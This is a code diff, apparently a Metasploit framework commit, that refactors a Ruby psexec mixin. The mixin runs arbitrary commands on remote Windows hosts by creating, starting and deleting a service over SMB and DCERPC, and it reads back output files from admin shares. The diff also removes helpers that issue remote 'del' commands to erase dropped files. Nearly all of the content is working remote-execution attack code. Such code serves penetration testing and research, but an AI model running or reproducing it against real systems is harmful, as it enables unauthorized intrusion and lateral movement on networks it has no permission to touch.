1
1
require 'msf/core'
2
+ require 'msf/core/exploit/dcerpc'
2
3
3
4
module Msf
4
5
5
6
####
6
- # This module alows for reuse of the psexec code execution module
7
- # This code was stolen straight out of psexec.rb.Thanks very much for all
8
- # who contributed to that module!! Instead of uploading and runing a binary.
7
+ # Allows for reuse of the psexec code execution technique
8
+ #
9
+ # This code was stolen straight out of the psexec module. Thanks very
10
+ # much for all who contributed to that module!! Instead of uploading
11
+ # and runing a binary.
9
12
####
10
13
11
14
module Exploit ::Remote ::Psexec
12
15
13
16
include Msf ::Exploit ::Remote ::DCERPC
14
17
include Msf ::Exploit ::Remote ::SMB
15
18
16
-
17
19
# Retrives output from the executed command
20
+ #
18
21
# @param smbshare [String] The SMBshare to connect to. Usually C$
19
- # @param ip [IP Address] Remote Host to Connect To
20
- # @param file [File name] Path to the output file relative to the smbshare
21
- # Example: '\WINDOWS\Temp\outputfile.txt'
22
- # @return output or nil if fails
23
- def get_output ( smbshare , ip , file )
22
+ # @param host [String] Remote host to connect to, as an IP address or
23
+ # hostname
24
+ # @param file [String] Path to the output file relative to the smbshare
25
+ # Example: '\WINDOWS\Temp\outputfile.txt'
26
+ # @return [String,nil] output or nil on failure
27
+ def smb_read_file ( smbshare , host , file )
24
28
begin
25
- simple . connect ( "\\ \\ #{ ip } \\ #{ smbshare } " )
26
- outfile = simple . open ( file , 'ro' )
27
- output = outfile . read
28
- outfile . close
29
- simple . disconnect ( "\\ \\ #{ ip } \\ #{ smbshare } " )
30
- return output
31
- rescue Rex ::Proto ::SMB ::Exceptions ::ErrorCode => output_error
32
- print_error ( "#{ peer } - The file #{ file } doesn't exist. #{ output_error } ." )
29
+ simple . connect ( "\\ \\ #{ host } \\ #{ smbshare } " )
30
+ file = simple . open ( file , 'ro' )
31
+ contents = file . read
32
+ file . close
33
+ simple . disconnect ( "\\ \\ #{ host } \\ #{ smbshare } " )
34
+ return contents
35
+ rescue Rex ::Proto ::SMB ::Exceptions ::ErrorCode => e
36
+ print_error ( "#{ peer } - Unable to read file #{ file } . #{ e . class } : #{ e } ." )
33
37
return nil
34
38
end
35
39
end
36
40
37
41
38
- # This method executes a single windows command. If you want to
39
- # retrieve the output of your command you'll have to echo it
40
- # to a .txt file and then use the get_output method to retrieve it
41
- # Make sure to use the cleanup_after method when you are done.
42
+ # Executes a single windows command.
43
+ #
44
+ # If you want to retrieve the output of your command you'll have to
45
+ # echo it to a .txt file and then use the {#smb_read_file} method to
46
+ # retrieve it. Make sure to remove the files manually or use
47
+ # {Exploit::FileDropper#register_files_for_cleanup} to have the
48
+ # {Exploit::FileDropper#cleanup} and
49
+ # {Exploit::FileDropper#on_new_session} handlers do it for you.
50
+ #
51
+ # @todo Figure out the actual exceptions this needs to deal with
52
+ # instead of all the ghetto "rescue ::Exception" madness
42
53
# @param command [String] Should be a valid windows command
43
- # @return true if everything wen't well
54
+ # @return [Boolean] Whether everything went well
44
55
def psexec ( command )
45
56
simple . connect ( "\\ \\ #{ datastore [ 'RHOST' ] } \\ IPC$" )
46
57
handle = dcerpc_handle ( '367abb81-9844-35f1-ad32-98f038001003' , '2.0' , 'ncacn_np' , [ "\\ svcctl" ] )
@@ -49,8 +60,7 @@ def psexec(command)
49
60
vprint_status ( "#{ peer } - Bound to #{ handle } ..." )
50
61
vprint_status ( "#{ peer } - Obtaining a service manager handle..." )
51
62
scm_handle = nil
52
- stubdata =
53
- NDR . uwstring ( "\\ \\ #{ rhost } " ) + NDR . long ( 0 ) + NDR . long ( 0xF003F )
63
+ stubdata = NDR . uwstring ( "\\ \\ #{ rhost } " ) + NDR . long ( 0 ) + NDR . long ( 0xF003F )
54
64
begin
55
65
response = dcerpc . call ( 0x0f , stubdata )
56
66
if dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil
@@ -66,19 +76,19 @@ def psexec(command)
66
76
svc_handle = nil
67
77
svc_status = nil
68
78
stubdata =
69
- scm_handle + NDR . wstring ( servicename ) + NDR . uwstring ( displayname ) +
70
- NDR . long ( 0x0F01FF ) + # Access: MAX
71
- NDR . long ( 0x00000110 ) + # Type: Interactive, Own process
72
- NDR . long ( 0x00000003 ) + # Start: Demand
73
- NDR . long ( 0x00000000 ) + # Errors: Ignore
74
- NDR . wstring ( command ) +
75
- NDR . long ( 0 ) + # LoadOrderGroup
76
- NDR . long ( 0 ) + # Dependencies
77
- NDR . long ( 0 ) + # Service Start
78
- NDR . long ( 0 ) + # Password
79
- NDR . long ( 0 ) + # Password
80
- NDR . long ( 0 ) + # Password
81
- NDR . long ( 0 ) # Password
79
+ scm_handle + NDR . wstring ( servicename ) + NDR . uwstring ( displayname ) +
80
+ NDR . long ( 0x0F01FF ) + # Access: MAX
81
+ NDR . long ( 0x00000110 ) + # Type: Interactive, Own process
82
+ NDR . long ( 0x00000003 ) + # Start: Demand
83
+ NDR . long ( 0x00000000 ) + # Errors: Ignore
84
+ NDR . wstring ( command ) +
85
+ NDR . long ( 0 ) + # LoadOrderGroup
86
+ NDR . long ( 0 ) + # Dependencies
87
+ NDR . long ( 0 ) + # Service Start
88
+ NDR . long ( 0 ) + # Password
89
+ NDR . long ( 0 ) + # Password
90
+ NDR . long ( 0 ) + # Password
91
+ NDR . long ( 0 ) # Password
82
92
begin
83
93
vprint_status ( "#{ peer } - Creating the service..." )
84
94
response = dcerpc . call ( 0x0c , stubdata )
@@ -97,8 +107,7 @@ def psexec(command)
97
107
end
98
108
vprint_status ( "#{ peer } - Opening service..." )
99
109
begin
100
- stubdata =
101
- scm_handle + NDR . wstring ( servicename ) + NDR . long ( 0xF01FF )
110
+ stubdata = scm_handle + NDR . wstring ( servicename ) + NDR . long ( 0xF01FF )
102
111
response = dcerpc . call ( 0x10 , stubdata )
103
112
if dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil
104
113
svc_handle = dcerpc . last_response . stub_data [ 0 , 20 ]
@@ -108,8 +117,7 @@ def psexec(command)
108
117
return false
109
118
end
110
119
vprint_status ( "#{ peer } - Starting the service..." )
111
- stubdata =
112
- svc_handle + NDR . long ( 0 ) + NDR . long ( 0 )
120
+ stubdata = svc_handle + NDR . long ( 0 ) + NDR . long ( 0 )
113
121
begin
114
122
response = dcerpc . call ( 0x13 , stubdata )
115
123
if dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil
@@ -119,8 +127,7 @@ def psexec(command)
119
127
return false
120
128
end
121
129
vprint_status ( "#{ peer } - Removing the service..." )
122
- stubdata =
123
- svc_handle
130
+ stubdata = svc_handle
124
131
begin
125
132
response = dcerpc . call ( 0x02 , stubdata )
126
133
if dcerpc . last_response != nil and dcerpc . last_response . stub_data != nil
@@ -139,52 +146,6 @@ def psexec(command)
139
146
return true
140
147
end
141
148
142
-
143
- # This method is called by file_dropper to remove files droped
144
- # By your module
145
- #
146
- # @example
147
- # file_rm('C:\WINDOWS\Temp\output.txt')
148
- #
149
- # @param file [String] Full path to a file on the remote host
150
- # @return [StandardError] only in the event of an error
151
- def file_rm ( file )
152
- delete = "%COMSPEC% /C del #{ file } "
153
- vprint_status ( "#{ peer } - Deleting #{ file } " )
154
- psexec ( delete )
155
- end
156
-
157
-
158
- # This method stores files in an Instance array
159
- # The files are then deleted from the remote host once
160
- # the cleanup_after method is called
161
- #
162
- # @example
163
- # register_file_for_cleanup("C:\\WINDOWS\\Temp\\output.txt")
164
- # @param file [String] Full path to the file on the remote host
165
- def register_file_for_cleanup ( *file )
166
- @dropped_files ||= [ ]
167
- @dropped_files += file
168
- end
169
-
170
-
171
- # This method removes any files that were dropped on the remote system
172
- # and marked with the register_file_for_cleanup method
173
- def cleanup_after
174
- print_status ( "#{ peer } - Removing files dropped by your module/exploit" )
175
- if !@dropped_files
176
- return
177
- end
178
- begin
179
- @dropped_files . delete_if do |file |
180
- file_rm ( file )
181
- print_good ( "#{ peer } - Deleted #{ file } " )
182
- end
183
- rescue Rex ::Proto ::SMB ::Exceptions ::ErrorCode => cleanup_error
184
- print_error ( "#{ peer } - Unable to delte #{ file } . #{ cleanup_error } " )
185
- end
186
- end
187
-
188
149
end
189
150
190
151
end
0 commit comments